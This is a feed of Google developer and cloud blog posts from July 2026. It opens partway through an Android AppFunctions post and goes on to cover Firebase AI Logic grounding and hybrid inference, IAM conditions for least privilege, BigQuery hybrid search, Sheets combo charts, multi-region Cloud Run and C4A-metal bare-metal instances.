suspend fun searchTrip(
    id: String? = null,
    title: String? = null,
    location: String? = null,
    startDate: Long? = null,
    endDate: Long? = null
): List<TripSerializable> {
    return withContext(Dispatchers.IO) {
    // implementation
}

Since AppFunctions run on the UI thread by default, we use withContext(Dispatchers.IO) to switch to a background dispatcher. Additionally, we refine our KDoc to use clear, imperative verbs and specify parameter constraints. This documentation compiles directly into the tool's schema, which the privileged agent uses to resolve parameters and handle runtime errors.

The service entry point and Hilt integration

To register these features with the intelligence system, we create an abstract base class that extends AppFunctionService. We annotate it with @AppFunctionServiceEntryPoint:

@RequiresApi(36)
@AndroidEntryPoint
@AppFunctionServiceEntryPoint(
    serviceName = "JetPackerAppFunctionService",
    appFunctionXmlFileName = "jetpacker_app_function_service"
)
abstract class BaseJetPackerAppFunctionService : AppFunctionService() {
    @Inject internal lateinit var tripDao: TripDao
    // DAOs and database references are injected here...
}

During compilation, KSP generates the final concrete service subclass, JetPackerAppFunctionService, as declared with the serviceName parameter. We also register app_metadata.xml in the app's manifest. This file provides global operational rules for JetPacker's declared AppFunctions.

Testing and verifying your AppFunctions

Once implemented, you should verify that your AppFunctions are registered and working correctly.

Running devices or emulators with Android 17 or newer, you can use ADB commands from your terminal to list and invoke your functions. Running adb shell cmd app_function list-app-functions displays all registered functions for your package. You can then execute a specific function and test its database integration by running adb shell cmd app_function execute-app-function while passing a raw JSON parameters string.

Instead of these ADB commands, you can also use the AppFunctions Testing Agent to inspect your configuration, list and execute AppFunctions, and even see how your AppFunctions behave in a real conversational flow.

Wrapping it up

When thinking about app features that can be contributed to the intelligence system using AppFunctions requires a slight shift in how we think about code and documentation. AppFunctions enable you to use this new interaction model for apps, which allows using an agent to access app features..

First, the AppFunctions development skill is an essential lifecycle tool, helping you discover features, implement and refine AppFunctions for your apps. Second, KDoc comments are a compiled API asset; clear parameter descriptions directly impact the execution accuracy of the system agent. Finally, Android MCP provides local-first execution allowing apps to safely collaborate with AI agents.

Contributing app features through AppFunctions makes your application ready for the intelligence system. Let us know how you are adapting your apps for the agentic era!

Learn more

Check out the other parts of this blog post series:
Part 1: Introduction of the app and a high-level overview.
Part 2: On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3: Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4 (this post!): System integration. Integrating with the Android intelligence system using AppFunctions.
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

All code snippets in this blog post follow the following copyright notice:

Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0

Build intelligent Android apps: Cloud and hybrid inference

2026-07-21T13:00:00+00:00

Posted by Thomas Ezan, Jolanda Verhoef, Caren Chang, Senior Developer Relations Engineers, Android Developer Relations

Welcome back to the blog post series "Build intelligent Android apps" where we take a basic Android app and transform it into a personalized, intelligent, and agentic experience. In our previous post we explored how to build intelligent on-device features using Gemini Nano through ML Kit's Prompt API.

In this post, we will look at how you can leverage Firebase AI Logic to build cloud-hosted and hybrid AI features:

Grounding answers in real-world context
Routing requests dynamically between cloud and local execution using hybrid inference
Translating content with custom routing systems

Sometimes a use case requires AI models with greater world knowledge, a much larger context window, or the ability to handle complex queries. In those scenarios, we can leverage cloud models.

Other times, you want the best of both worlds: using hybrid inference to run on-device when available to lower costs, while falling back to the cloud to ensure compatibility for all devices.

Cloud and hybrid features in Jetpacker: Museum assistant with web grounding, hybrid restaurant review drafting, and support chat featuring custom-routed live translation.

Let’s look at how we implemented three cloud and hybrid features in Jetpacker:

a museum assistant with web grounding
hybrid restaurant review drafting
hotel support chat featuring custom-routed live translation.

Use LLM grounding for up-to-date informationMuseum assistant chatbot with LLM grounding

The Museum assistant is an interactive chatbot designed to help users plan their museum visits. It provides visitors with up-to-date details regarding specific exhibits, current opening hours, ticket pricing, and more.

Museum assistant is a chatbot that answers questions, such as

‘How can I get a ticket discount for Le Louvre?’

When building AI features, getting the model to answer with fresh, accurate, and specific real-world information is a common challenge. While cloud models possess massive amounts of world knowledge, they might not know about seasonal exhibits or the current day’s opening hours.

Grounding data is added to the context window to enable the model

to answer questions correctly and accurately.

To bridge this gap, we can use grounding techniques to add extra context to the model’s context window. The Firebase AI Logic SDK supports three types of grounding:

URL grounding: Grounding responses using content from a specific webpage (e.g. current ticket prices or museum rules).
Google Search grounding: Letting the model query the real-time Google search index for up-to-date details.
Maps grounding: Using Google Maps location data.

In Jetpacker, we dynamically construct the available tools based on enabled feature flags and initialize the generative model using the Firebase AI SDK:

// implementation("com.google.firebase:firebase-ai-logic")

private var toolList = mutableListOf<Tool>()

init {
    if (ENABLE_SEARCH_GROUNDING) {
        toolList.add(Tool.googleSearch())
    }
    if (ENABLE_URL_GROUNDING) {
        toolList.add(Tool.urlContext())
    }
}

private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        systemInstruction = content {
            text("You are a helpful museum assistant answering questions about a museum. Use plain text.")
        },
        tools = toolList
    )

When the user queries the assistant, if URL grounding is enabled, we append the specific museum resource URLs directly into the prompt:

val groundingText = if (FeatureFlags.ENABLE_URL_GROUNDING) {
    "\n If the following message above is about the rules and terms to visit Le Louvre, " +
    "if needed answer this urls ${urlList.joinToString()}"
} else {
    ""
}

val prompt = "$text $groundingText"

var response = chat.sendMessage(prompt)

Hybrid inference: On-device review generation with Maps deep link

Not every AI task requires a cloud-based model, and not every device is online. To help developers balance latency, cost, and offline availability, we recently introduced the Firebase API for Hybrid Inference.

In Jetpacker, the restaurant review feature lets users review select topics and automatically drafts a review. To enable this for all users, we prioritize local execution with Gemini Nano, and fall back to cloud models on devices that don’t support Gemini Nano.

The restaurant review feature uses hybrid inference to draft a review based on topics

// implementation("com.google.firebase:firebase-ai-logic")
// implementation("com.google.firebase:firebase-ai-ondevice:16.0.0-beta03")


// Initialize the model with hybrid routing configuration
val reviewModel = Firebase.ai.generativeModel(
    modelName = "gemini-3.1-flash-lite",
    onDeviceConfig = OnDeviceConfig(
        inferenceMode = InferenceMode.PREFER_ON_DEVICE
    )
)

The Hybrid Inference API supports four distinct routing modes:

PREFER_ON_DEVICE: Prioritizes local execution and falls back to cloud if Gemini Nano is unavailable.
PREFER_IN_CLOUD: Prioritizes cloud execution and falls back to on-device if the device goes offline.
ONLY_ON_DEVICE: Restricts execution strictly to the device.
ONLY_IN_CLOUD: Restricts execution strictly to the cloud.

Once the review is generated, we copy it to the clipboard and use an intent to open Google Maps directly to the restaurant's review page, providing a seamless user experience:

private fun copyAndOpenMapsReview(context: Context, reviewText: String, placeId: String) {
    val clipboard = context.getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager
    val clip = ClipData.newPlainText("User Review", reviewText)
    clipboard.setPrimaryClip(clip)

    val uri = Uri.parse("https://search.google.com/local/writereview/mobile?placeid=$placeId")
    val intent = Intent(Intent.ACTION_VIEW, uri).apply {
        setPackage("com.google.android.apps.maps")
    }
    context.startActivity(intent)
}

Custom hybrid routing: Hotel support chat translation with simulated personas

The hotel support chat was built to let users finalize logistics and check on hotel details. This feature uses system instructions to configure a localized receptionist assistant. By passing specific information—such as the preferred language and hotel information—in the instructions, we can set up a conversational persona representing a specific hotel.

private val generativeModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        systemInstruction = content {
            text("""
              You are a helpful hotel receptionist at $hotelName only speaking $language. 
              Answer politely in $language. The bar closes at 10pm and breakfast is from 7am to 10am.
              There's someone at the desk 24/7. You can retrieve your luggage from the storage room 
              at the back of the lobby at any time.
              """)
        },
        modelName = "gemini-3-flash-preview"
    )

Because receptionist responses are in the hotel's local language (for example, French for Hotel Le Meurice in Paris), we need to translate messages to the user’s preferred language.

Hotel support chat messages are automatically translated to the user’s preferred language

While hybrid models can configure simple routing preferences, complex scenarios require custom routing logic. In Jetpacker, we implement a custom routing stack that takes into account:

Language identification: Using the on-device ML Kit Language Identification API, we can detect the incoming message language.
On-device translation (Gemini Nano): ML Kit’s Prompt API lets us translate common language pairs directly on the device, saving bandwidth and cloud cost.
Cloud translation (Gemini 3 Flash): For more complex languages, we use Gemini Flash 3 to get a higher quality translation.

// implementation("com.google.android.gms:play-services-mlkit-language-id:17.0.0") 

// ML Kit for Language Identification (powered by Google Play Services)
private val languageIdentifier = LanguageIdentification.getClient()

// On-device translator model (prefer Gemini Nano) for translating common language pairs
private val hybridTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash",
        onDeviceConfig = OnDeviceConfig(mode = InferenceMode.PREFER_ON_DEVICE)
    )

// Cloud translator model for more complex language pairs
private val cloudTranslationModel = Firebase.ai(backend = GenerativeBackend.googleAI())
    .generativeModel(
        modelName = "gemini-3-flash"
    )

When a message needs to be translated, we identify the source language and apply our custom routing logic, executing either on-device or cloud translation:

fun translateMessage(message: SupportChatMessage) {
    viewModelScope.launch {
        // 1. Detect language using ML Kit Language Identification
        val sourceLang = try {
            Tasks.await(languageIdentifier.identifyLanguage(message.text))
        } catch (e: Exception) {
            "Undefined"
        }

        // 2. Custom routing: we've verified the translation quality for English and Korean with Gemini Nano, and will translate message on-device for those two languages
        val routeToCloud = sourceLang != "en" && sourceLang != "kr"

        val prompt = "Translate the following text to $selectedLanguage. Just return the translated sentence: ${message.text}."

        val (translatedText, routePrefix) = if (routeToCloud) {
            val result = cloudTranslationModel.generateContent(prompt)
            result.text to "[Cloud]"
        } else {
            val result = hybridTranslationModel.generateContent(prompt)
            result.text to "[On-Device]"
        }

        if (translatedText != null) {
            _translations.update { current ->
                current + (message.id to "$routePrefix: $translatedText")
            }
        }
    }
}

In this example, the custom routing logic only takes into consideration the translation’s source and target language. However, based on your app’s use case, you can expand the routing logic to include other factors such as the on-device model version, network connectivity, battery status, and more.

Securing the AI Pipelines: Firebase App Check

Lastly, using AI in the cloud opens up possibilities of API key abuse or unauthorized billing. To secure API calls, we integrated Firebase App Check using both Play Integrity (production) and the local Debug Provider (for local development or emulators).

In the JetPackerApplication.kt file, we install the debug provider at startup and trigger anonymous authentication to establish a secure user session:

//  implementation("com.google.firebase:firebase-appcheck-playintegrity") 
//  implementation("com.google.firebase:firebase-appcheck-debug")  
//  implementation("com.google.firebase:firebase-auth") 

override fun onCreate() {
    super.onCreate()
    Firebase.initialize(context = this)
    Firebase.appCheck.installAppCheckProviderFactory(
        DebugAppCheckProviderFactory.getInstance()
    )
    Firebase.auth.signInAnonymously()
}

When building locally on an emulator, App Check prints a local token secret to logcat:

Enter this debug secret into the allow list in the Firebase Console: a8c2dd4c-xxxx-xxxx-xxxx-ef6c114ba27e

Once registered in the Firebase console, local requests are fully verified and authenticated by App Check, protecting our backend while letting us test the app locally.

Conclusion

By combining cloud model capabilities (grounding, system instructions) with on-device capabilities (hybrid routing, translation, security app checks), we created a travel app that is smart, secure, and available offline.

Check out the full source code for Jetpacker on GitHub, and explore the Firebase documentation to get started:

Firebase AI Logic Documentation
Firebase Hybrid Inference API

Learn more

Check out the other parts of this blog post series:

Part 1: Introduction of the app and a high-level overview.
Part 2: On-device intelligence. Deep-dive into ML Kit’s GenAI APIs and Gemini Nano to build privacy-first features like itinerary summarization, receipt parsing, and local audio processing.
Part 3 (this post!): Hybrid and cloud reasoning. Explore how to use Firebase AI Logic to ground LLM answers in real-world data like Google Maps and web context.
Part 4: System integration. Integrating with the Android intelligence system using AppFunctions.
Part 5 (coming soon): In-app agentic workflows. Extend the app with an end-to-end booking assistant powered by A2UI and ADK.

Interested in more on Android Development? Follow Android Developers on YouTube or LinkedIn!

All code snippets in this blog post follow the following copyright notice:

Copyright 2026 Google LLC.
SPDX-License-Identifier: Apache-2.0

Michaels Unveils ‘Ask Mike’ AI Assistant, Built With Google Cloud’s Gemini Enterprise for Customer Experience

2026-07-21T13:00:00+00:00

Generosity Under Conditions: Hardening Google Cloud Access Management

2026-07-21T11:19:00+00:00

In Google Cloud, Identity and Access Management (IAM) helps you maintain access control over your cloud resources and operations. While it includes other features, this is its primary purpose. If you ever tried to harden security over your application, you know the importance of the Principle of Least Privilege (PoLP) ‒ grant the absolute minimum permissions to your users and workloads to allow them to perform their tasks. You reach it through use of predefined roles and custom roles and setting up a combination of Allow and Deny IAM policies at project, folder, or organization level. Using a combination of Allow and Deny policies along the resource hierarchy is an effective way to control access. This approach lets you enforce PoLP across many different scenarios.

The existing flexible control can be insufficient when resources in the project are shared between multiple workloads or used by more than one team. In many such scenarios, it is possible to bind IAM policies to a specific resource in the project. For example, consider the difference between granting the role Artifact Registry Editor (roles/artifactregistry.editor) on a project vs. granting it on a specific repository in the project. In the former case, the access is granted to ANY repository in the project. In the latter case, users will have the editor access only to a specific repository. However, binding IAM policies to a resource or service level isn't always possible. This is when it is time to use IAM conditions. Let’s look at two distinct examples that demonstrate the power of conditions when hardening access management: one for traditional administrative roles, and one for modern AI integrations.

Use Case 1: Constraining the Power of Admins

This case demonstrates how to restrict the specific operations that broad IAM roles are authorized to perform. You can easily scope administrative privileges for managing specific resources in a project by granting a "resource creator" role at the project level and an editor role on a selected resource. It is far more challenging to constrain IAM Admin Roles that are intended to grant access to operations rather than specific resources. A representative example would be the IAM Admin role (roles/iam.admin). Users granted this role can grant themselves any other role or create a new one. It greatly exceeds practical needs. The first step is to narrow the access by using the Project IAM Admin role (roles/resourcemanager.projectIamAdmin) that provides administrative privileges only at the level of the project.

It is possible, however, to restrict the granted privileges even further. For example, suppose you grant the Project IAM Admin role to your builder service account that creates resources and deploys workloads. The workloads only need access to the BigQuery and Agent Platform APIs (formerly Vertex APIs) and permission to write logs and traces. For such a case you can use the following gcloud CLI command or its alternative in Terraform:

code_block: <ListValue: [StructValue([('code', 'gcloud projects add-iam-policy-binding "${PROJECT_ID}" \\\r\n --member="serviceAccount:${SA_MAIL}" \\\r\n --role="roles/resourcemanager.projectIamAdmin" \\\r\n --condition="^:^\\\r\ntitle=LimitedIAMAdmin:\\\r\nexpression=api.getAttribute(\'iam.googleapis.com/modifiedGrantsByRole\', [])\\\r\n.hasOnly([\\\r\n\'roles/aiplatform.user\',\\\r\n\'roles/bigquery.jobUser\',\\\r\n\'roles/bigquery.dataViewer\',\\\r\n\'roles/cloudtrace.agent\',\\\r\n\'roles/logging.logWriter\'\\\r\n])"'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f0cdf1bc340>)])]>

The value of the condition parameter is defined using Common Expression Language (CEL) syntax. First it customizes a field delimiter to be a colon instead of a comma and then describes the condition fields title and expression. The expression field uses functions for API attributes to identify which roles are being granted to allow granting only the roles in the comma delimited list. The same operation in Terraform will look very similar. Using input variables instead of environment variables, it will look like this:

code_block: <ListValue: [StructValue([('code', 'resource "google_project_iam_member" "limited_project_iam_admin" {\r\n project = var.project_id\r\n role = "roles/resourcemanager.projectIamAdmin"\r\n member = "serviceAccount:${var.sa_email}"\r\n condition {\r\n title = "LimitedIAMAdmin"\r\n expression = <<-EOT\r\n api.getAttribute(\'iam.googleapis.com/modifiedGrantsByRole\', []).hasOnly([\r\n \'roles/aiplatform.user\',\r\n \'roles/bigquery.jobUser\',\r\n \'roles/bigquery.dataViewer\',\r\n \'roles/cloudtrace.agent\',\r\n \'roles/logging.logWriter\'\r\n ])\r\n EOT\r\n }\r\n}'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f0cdf1bc820>)])]>

Use Case 2: Control over MCP Server Access

This case is about hardening access to specific services behind a single set of permissions.

Google exposes access to a subset of cloud resources and services via MCP Servers that expose Model Context Protocol (MCP) endpoints. The access to these servers is granted using the predefined MCP Tool User (roles/mcp.toolUser) role. This role grants access to ALL available MCP servers (for a project where an IAM policy is set). Using conditions helps to narrow the access to a specific MCP server.

code_block: <ListValue: [StructValue([('code', 'gcloud projects add-iam-policy-binding $PROJECT_ID \\\r\n --member="serviceAccount:$SA_EMAIL" \\\r\n --role="roles/mcp.toolUser" \\\r\n --condition="^:^\\\r\ntitle=bigquery_mcp_server_only:\\\r\nexpression=resource.service == \'bigquery.googleapis.com\'"'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f0cdf1bc040>)])]>

Notice that the value compared to the resource.service attribute is not the MCP server endpoint (which is bigquery.googleapis.com/mcp) but the endpoint of the service. It is possible to narrow the access scope further to the level of the specific MCP tools. For this you will need to use API attributes again. The following expression limits the service account access to the level of only two BigQuery MCP tools.

code_block: <ListValue: [StructValue([('code', "expression=api.getAttribute('mcp.googleapis.com/tool.name', '') in [\\\r\n'mcp_bigquery-mcp_execute_sql',\\\r\n'mcp_bigquery-mcp_execute_sql_readonly'\\\r\n]"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f0cdf1bc550>)])]>

Note that if you condition the IAM policy binding at the MCP tool level, you don't need to validate the resource.service attribute.

For experimenting with MCP server access you can use the Getting Started with Google MCP Servers codelab and modify its gcloud projects add-iam-policy-binding commands.

And Even More

Besides enforcing precise control when using predefined roles, IAM conditions let you craft access management based on the time of the request. For example, the following condition's expression allows access only during daytime on weekdays:

code_block: <ListValue: [StructValue([('code', "expression=request.time.getHours('Europe/Berlin') >= 9 &&\\\r\nrequest.time.getHours('Europe/Berlin') <= 17 &&\\\r\nrequest.time.getDayOfWeek('Europe/Berlin') >= 1 &&\\\r\nrequest.time.getDayOfWeek('Europe/Berlin') <= 5"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7f0cdf1bc130>)])]>

The expression limits access from 9 o'clock in the morning to 5 o'clock in the evening according to the "Europe/Berlin" timezone from Monday to Friday (days of the week range from 0 to 6, starting with Sunday).

IAM conditions allow controlling the identity of the actor using the principal attributes. However, it can easily become an anti-pattern. The recommended practice is to control the identity of actors allowed to use the policy through the list of the IAM policy's principals instead of using the conditions.

Conclusion and More Resources

While IAM conditions give you surgical precision over Allow policies, you can take your defense-in-depth strategy even further with IAM Deny policies. With Deny Policies you can grant access using the predefined IAM roles with Allow policies and remove excessive permissions of the role to enforce PoLP. See the following resources for additional information about Deny policies:

Identify the permissions that are supported in deny policies.
Get the format of principal identifiers in deny policies.
Find out how to troubleshoot access issues with deny policies.
Learn more about denying access to principals.
Read the blog post about Build defense in depth.

You can use Google Skills for hands-on experience with IAM policies.

Cloud Release Notes — July 21, 2026

2026-07-21T07:00:00+00:00

Binary Authorization

Feature

To provide long-term security and address threats from future quantum computers, Binary Authorization supports keys that use post-quantum cryptography (PQC) algorithms. These algorithms, such as ML-DSA-65 (Dilithium3), are standardized to be resistant to attacks from both classical and quantum computers. To learn how to generate a PQC key pair and create an attestor, see Create post-quantum cryptography (PQC) keys.

5 ways to build a side hustle with Gemini

2026-07-20T19:00:00+00:00

An illustration of a person sitting in a chair uploading files, and an AI sparkle icon

Unifying Structured and Unstructured Data Insights with BQ Search Innovations

2026-07-20T18:00:00+00:00

Modern enterprises possess a vast amount of unstructured data, yet they frequently encounter significant challenges in managing and extracting value from it. Historically, unlocking the insights hidden within PDFs, audio files, images, and unstructured text required a fragmented architecture: moving data out of your warehouse, stitching together complex LLM pipelines, and managing disparate search indexes.

BigQuery has worked with many enterprises to make sense of their unstructured data sources. For example, consider an advanced healthcare company managing thousands of clinical trial documents in PDF form. BigQuery helps unlock insights from these documents through a simple, five-step lifecycle: Access, Process, Ground, Relate, and Activate.

In this post, we are highlighting three major milestones focused heavily on the "Ground" phase of this framework:

General Availability (GA) of Autonomous Embedding Generation
General Availability (GA) of AI.SEARCH with massive single-query performance gains
Public Preview of Hybrid Search

Let’s dive into how these features work together to simplify your AI architecture, using a real-world clinical trial research platform as an example.

Simplify Pipelines with Autonomous Embedding Generation (GA)

Building a retrieval-augmented generation (RAG) pipeline or search application usually requires managing complex, asynchronous embedding infrastructure. You have to handle retries, error logging, and pipeline orchestration every time a new record arrives.

With the General Availability of Autonomous Embedding Generation, BigQuery manages this entirely for you. By simply defining a column in your schema, BigQuery asynchronously and continuously generates embeddings as new data is ingested. You have the flexibility to choose external models (like Vertex AI text-embeddings) or natively utilize Gemma embedding models directly within BigQuery.

How it works in practice:

Imagine you are building a research platform analyzing clinical trial PDFs stored in Google Cloud Storage. After extracting the study titles and disease areas into a table, you can automatically embed those titles:

code_block: <ListValue: [StructValue([('code', "CREATE OR REPLACE TABLE mydataset.clinical_trials\r\n(\r\n trial_id STRING,\r\n study_title STRING,\r\n study_embedding STRUCT<result ARRAY<FLOAT64>, status STRING>\r\n GENERATED ALWAYS AS (AI.EMBED(\r\n study_title,\r\n connection_id => 'myconnection',\r\n endpoint => 'text-embedding-005'\r\n ))\r\n STORED\r\n OPTIONS( asynchronous = TRUE )\r\n);"), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fdc88c3f940>)])]>

BigQuery eliminates the need for complex third-party vector databases by managing enterprise-scale processing with one configuration. This autonomous embedding generation keeps data synchronized automatically as source text changes, removing the need for manual machine learning pipelines. This integrated approach streamlines workflows for dynamic datasets and reduces the operational burden of maintaining custom data scripts.

Finally, with this GA launch, Autonomous Embedding Generation now also supports generating embeddings natively over images using ObjectRefs, unlocking true multimodal search and analytics.

Natural Language Search at Scale with AI.SEARCH (GA)

To truly enable conversational analytics agents and snappier user experiences, your underlying search infrastructure needs to be intuitive and performant.

Once your data is seamlessly embedded, you need an efficient way to query it. Today, we are announcing the General Availability of AI.SEARCH(). This function provides a streamlined, natural-language-focused search experience, allowing you to easily find semantically related records without generating embeddings in your search path. In pairing this with the Autonomous Embedding Generation, we leverage the same embedding model used in your dataset for easier use.

Furthermore, as part of efficiency investments in the last year, we have heavily optimized AI.SEARCH for single-query execution. For online applications and single-query searches (those most common in agentic searches), we have observed up to a 133x gain in slot efficiency..

This means you can serve highly concurrent, user-facing natural language searches directly out of BigQuery faster and more cost-effectively than ever before.

code_block: <ListValue: [StructValue([('code', 'SELECT base.trial_id, base.study_title, distance\r\nFROM\r\n AI.SEARCH(\r\n TABLE mydataset.clinical_trials,\r\n \'study_title\',\r\n "What treatments are available for advanced tumors?"\r\n );'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fdc88c3f730>)])]>

Unifying Keyword and Vector with Hybrid Search (Public Preview)

Semantic (vector) search is incredibly powerful; for example, the query above will successfully return conceptually related terms like "chemotherapy." However, semantic search isn't always enough. What if a researcher is searching for a specific, highly technical immunotherapy drug designation like "MK3475"? Because this alphanumeric string lacks broad semantic meaning, pure vector search might struggle to rank it correctly.

By merging lexical search with existing semantic capabilities, BigQuery's hybrid search allows for data retrieval based on both keyword similarity and underlying meaning. This approach unites the conceptual depth of semantic vector search with the pinpoint accuracy of lexical matching, utilizing algorithms such as Reciprocal Rank Fusion and BM25. The result is a significant boost in search precision and a reduction in LLM hallucination costs through the reranking of results based on keyword frequency and semantic relevance. Users can implement this via the AI.SEARCH and VECTOR_SEARCH functions by employing the hybrid mode or lexical_search_columns parameters. Furthermore, performance can be optimized by extending vector indexes to include keyword data, which accelerates the lexical search process.

You can now perform hybrid searches effortlessly using the AI.SEARCH() function by simply setting the mode to HYBRID:

code_block: <ListValue: [StructValue([('code', 'SELECT base.trial_id, base.study_title, distance\r\nFROM\r\n AI.SEARCH(\r\n TABLE mydataset.clinical_trials,\r\n \'study_title\',\r\n "Cancer treated by MK-3475",\r\n mode => \'HYBRID\'\r\n );'), ('language', ''), ('caption', <wagtail.rich_text.RichText object at 0x7fdc88c3f550>)])]>

To speed up these hybrid queries at scale, you can easily extend your CREATE VECTOR INDEX DDL to include the keyword columns you want to use for the lexical portion of the search, natively combining your indexes.

Building an End-to-End Unstructured Data Analytics Platform

The search and embedding features launching today are part of a much broader vision. We are building an end-to-end unstructured data analytics platform. One common type of unstructured data is documents, and BigQuery now provides the complete toolset to manage this workflow from end to end:

Access: Enable zero-ETL workflows by querying unstructured PDFs and documents directly where they live in Google Cloud Storage using Object Tables.
Process: Utilize embedded AI capabilities like AI.PARSE_DOCUMENT (coming soon) for layout-aware chunking (perfect for RAG), AI.GENERATE for entity extraction, and AI.CLASSIFY to instantly categorize records using foundational models directly in your SQL pipelines.
Ground: Build highly accurate context using Autonomous Embeddings and Hybrid Search. Hybrid search combines the conceptual understanding of semantic vector search with the exact precision of lexical keyword matching By reranking results based on both semantic relevance and keyword frequency, you drastically increase search precision and drive down LLM hallucinations.
Relate: Uncover hidden multi-hop insights by mapping extracted entities (like Sponsors, Trials, and Drugs) into a BigQuery Graph—no specialized graph database required.
Activate: Bring it all together with BigQuery's Conversational Analytics agents. Using functions like AI.AGG, you can chat directly with your complex data, generate visualizations, and perform trend analysis at massive scale.

With unstructured data as a first-class citizen in BigQuery, you can finally bridge the gap between your raw documents and conversational AI.

Ready to get started?

Explore the Code: Check out the complete end-to-end clinical trials demonstration in our Document Analytics on BigQuery GitHub Repository.
Read the Docs: Dive into the official documentation for Autonomous Embeddings and Hybrid Search to start building your own unified data pipelines today.

Import and create combo charts in Google Sheets

2026-07-20T17:30:35+00:00

Google Sheets now offers enhanced support for combo charts, providing a more seamless experience when creating multi-series visualizations. Users can create new “Combo” chart types, enabling complex dataset visualization with different scales and metrics without requiring manual re-plotting. These include:

Clustered Column - Line
Clustered Column - Line on Secondary Axis
Custom Combo

Sheets combo chart support also comes with enhanced Microsoft Excel import compatibility. Previously, importing external files that contained combo charts with a secondary axis would result in the secondary axis being dropped. This update ensures that secondary axis configurations and combo chart types are preserved during file import.

User creating a combo chart in Google Sheets

Getting started

Admins: There is no admin control for this feature.
End users: Visit the Help Center to learn more about adding and editing a chart in Google Sheets.

Rollout pace

Rapid Release domains: Gradual rollout (up to 15 days for feature visibility) starting on July 20, 2026
Scheduled Release domains: Gradual rollout (up to 15 days for feature visibility) starting on August 4, 2026

Availability

Available to all Google Workspace customers and users with personal Google accounts

Resources

Google Docs Editors Help: Add & edit a chart or graph

Making highly available, multi-region Cloud Run services just got easier

2026-07-20T16:00:00+00:00

Application downtime for mission-critical services can directly impact your reputation and bottom line. To avoid that, you need to be able to deploy regionally resilient workloads that detect and automatically recover from failures. But setting up multi-region, highly available deployments often involves complex configurations, and responding to incidents or outages is usually a manual process.

Multi-region services on Cloud Run provide a one-command approach to deploying the same service configuration across multiple regions. When deployed with a global external application load balancer, you can serve traffic from different regions.

Now, we’ve made it easier to detect regional service disruptions and automatically fail over to a healthy region within seconds with new capabilities:

Readiness probes provide instance-level health checks for your Cloud Run service to determine exactly when your containers are ready to serve traffic. You can also use these probes to monitor how many healthy or unhealthy instances exist for your service in each region.
Service health aggregates instance-level health checks from readiness probes to calculate the health of your service in each region. This aggregate health is exposed via serverless network endpoint groups (NEGs) in each region. When your service is connected to a global application load balancer, traffic automatically fails away from regions with unhealthy services. Service health can be used with both single and multi-region services.

Let’s take a closer look at some scenarios where these new capabilities can come in handy.

Use cases

To make your Cloud Run applications highly available, it is essential to minimize the downtime for each incident. In high availability scenarios, readiness probes can help you detect regional service failures and automatically fail over, minimizing service degradation or disruptions.

To achieve automated failover, one key thing to consider is whether you plan to support application traffic from the public internet or from within your private network (VPC).

Public internet applications: When you have a public-facing website or API, configure Cloud Run with a global external application load balancer for automatic detection and failover capabilities.
Private network applications: When you have private applications with internal traffic, configure Cloud Run with a cross-regional internal application load balancer for automatic detection and failover capabilities.

Design Considerations

Cloud Run’s new service health excels at quickly detecting and recovering outages in active-active configurations, where two or more regions are actively configured to serve traffic. Some things to consider when designing your multi-region setup:

Single points of failure: As you design your application, ensure that each layer of your application, including your database layer, has regional redundancies to avoid any single points of failure. For three-tiered applications on Cloud Run, consider setting up your web tier and application tier with distinct multi-region architectures to handle public internet and private networking respectively.
Data replication: When replicating data across regions and evaluating your recovery point objective (RPO), consider whether you require zero data loss. Cloud Run service health works best with read- and write-heavy applications that actively synchronize data across regions.
Data residency: Google Cloud offers several multi-region database configurations with managed multi-region solutions including Firestore, Spanner, Cloud Storage, and Cloud SQL. These all work great for multi-region architectures on Cloud Run that have strict data sovereignty requirements.

Get started

Cloud Run’s enhanced multi-region high availability services are currently available in all Cloud Run regions at no additional cost. You only pay for the standard CPU and memory required to run the readiness probes. To learn more, check out our documentation.

Accelerating automotive innovation with C4A-metal and Panasonic Automotive vSkipGen

2026-07-20T16:00:00+00:00

As the automotive landscape accelerates toward software-defined vehicles, Cockpit Domain Controllers (CDCs) are becoming the core of next-generation in-cabin experiences. The ability to rapidly develop, test, and validate CDC software in a flexible, hardware-independent environment is critical for innovation and time-to-market. However, physical hardware constraints and the requirement for high-performance graphics present significant challenges for global development teams.

Panasonic Automotive’s vSkipGen™ addresses these challenges as a next-generation CDC virtualization platform, now validated on Google Cloud’s C4A-metal, our Axion bare-metal offering. By integrating Panasonic Automotive’s advanced Unified HMI™ remote GPU offload technology with support for Android Automotive OS (AAOS) and Android SDV, vSkipGen delivers a robust, cloud-native solution for cockpit software development and validation — empowering teams to innovate without hardware limitations.

At Google Cloud, we provide workload-optimized infrastructure to help ensure the right resources for every task. Similar to the entire Axion virtual machine family, C4A-metal instances are built on Google Cloud’s custom Arm-based Axion architecture. C4A-metal offers 96 vCPUs, two DDR5 memory configurations (384GB and 768GB), and up to 100Gbps of networking bandwidth. It also provides full support for Google Cloud Hyperdisk, including Balanced, Extreme, Throughput, and ML types. And like the rest of the bare metal portfolio, C4A-metal is powered by Titanium, a key component for multi-tier offloads and security that is foundational to our infrastructure.

High performance for demanding workloads

C4A-metal is particularly well-suited for complex tasks such as creating digital twins of vehicle cockpits where performance must accurately mirror real-world behavior. Traditionally, the transition to software-defined vehicles has relied on expensive and scarce physical prototypes; C4A-metal overcomes this by offering the high performance and hardware-level access of bare metal with the scalability of the cloud.

